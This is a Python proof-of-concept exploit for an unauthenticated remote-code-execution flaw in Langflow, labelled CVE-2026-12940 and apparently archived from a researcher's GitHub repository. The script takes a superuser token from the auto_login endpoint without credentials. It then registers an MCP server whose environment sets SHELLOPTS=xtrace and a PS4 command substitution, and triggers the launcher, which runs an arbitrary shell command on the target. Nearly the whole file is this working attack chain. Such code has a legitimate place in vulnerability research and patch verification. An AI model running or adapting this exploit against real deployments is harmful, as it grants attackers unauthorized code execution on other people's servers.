#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/BiiTts/CVE-2026-12940-Langflow-Unauth-RCE
# Original author: Caio Fabricio (BiiTts). Upstream declares MIT in this file.
# WARNING: Use only against systems you own or have explicit written permission
# to test. Do not run against third-party or production systems.
"""
CVE-2026-12940 - Langflow OSS <= 1.10.1 unauthenticated RCE.

Environment-variable injection in the MCP stdio launcher. The DANGEROUS_ENV_VARS
blocklist that guards the /api/v2/mcp/servers env dictionary omits SHELLOPTS,
BASHOPTS and PS4. The launcher runs the configured command through

    bash -c "exec <command> || echo 'Command failed...' >&2"

with the attacker-supplied env applied to the process. Setting

    SHELLOPTS=xtrace
    PS4=$(<command>)

makes bash expand PS4 before executing the first traced line, so the command
substitution inside PS4 runs regardless of the command/args allowlist.

On a default deployment GET /api/v1/auto_login mints a superuser token without
any credentials (AUTO_LOGIN defaults on), so the whole chain is unauthenticated.

Author: Caio Fabricio (BiiTts)
License: MIT
"""
import argparse
import json
import sys
import urllib.request
import urllib.error
import uuid


def _req(method, url, token=None, body=None, timeout=120):
    data = json.dumps(body).encode() if body is not None else None
    r = urllib.request.Request(url, data=data, method=method)
    r.add_header("Content-Type", "application/json")
    if token:
        r.add_header("Authorization", "Bearer " + token)
    try:
        with urllib.request.urlopen(r, timeout=timeout) as resp:
            return resp.status, resp.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace")


def get_token(base, token):
    if token:
        return token
    status, body = _req("GET", base + "/api/v1/auto_login")
    if status != 200:
        sys.exit(
            "[-] auto_login returned HTTP %d - instance is not in AUTO_LOGIN mode; "
            "supply a token with --token" % status
        )
    try:
        tok = json.loads(body)["access_token"]
    except Exception:
        sys.exit("[-] could not parse auto_login response")
    print("[+] obtained superuser token via /api/v1/auto_login (no credentials)")
    return tok


def run(base, token, ps4):
    base = base.rstrip("/")
    token = get_token(base, token)
    name = "s" + uuid.uuid4().hex[:8]

    config = {
        "command": "uvx",
        "args": ["mcp-server-fetch"],
        "env": {"SHELLOPTS": "xtrace", "PS4": ps4},
    }

    status, body = _req("POST", base + "/api/v2/mcp/servers/" + name, token, config)
    if status != 200:
        sys.exit("[-] server registration failed (HTTP %d): %s" % (status, body[:300]))
    print("[+] registered MCP server '%s' with SHELLOPTS/PS4 payload (HTTP 200)" % name)

    # action_count=true forces the backend to launch each configured server,
    # which is what spawns `bash -c` with our env applied.
    status, body = _req(
        "GET", base + "/api/v2/mcp/servers?action_count=true", token
    )
    print("[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP %d)" % status)
    print("[+] payload PS4 executed on the server as the Langflow process user")
    return name


def main():
    p = argparse.ArgumentParser(description="CVE-2026-12940 Langflow unauth RCE PoC")
    p.add_argument("-u", "--url", default="http://127.0.0.1:7860",
                   help="Langflow base URL (default: %(default)s)")
    p.add_argument("-t", "--token", default=None,
                   help="bearer token / API key (skip auto_login when instance requires auth)")
    g = p.add_mutually_exclusive_group()
    g.add_argument("-c", "--cmd", default="id",
                   help="shell command to execute on the target (default: id)")
    g.add_argument("--ps4", default=None,
                   help="raw PS4 value, overrides --cmd for custom primitives")
    args = p.parse_args()

    ps4 = args.ps4 if args.ps4 is not None else "$(%s)" % args.cmd
    print("[*] target : %s" % args.url)
    print("[*] PS4    : %s" % ps4)
    run(args.url, args.token, ps4)


if __name__ == "__main__":
    main()
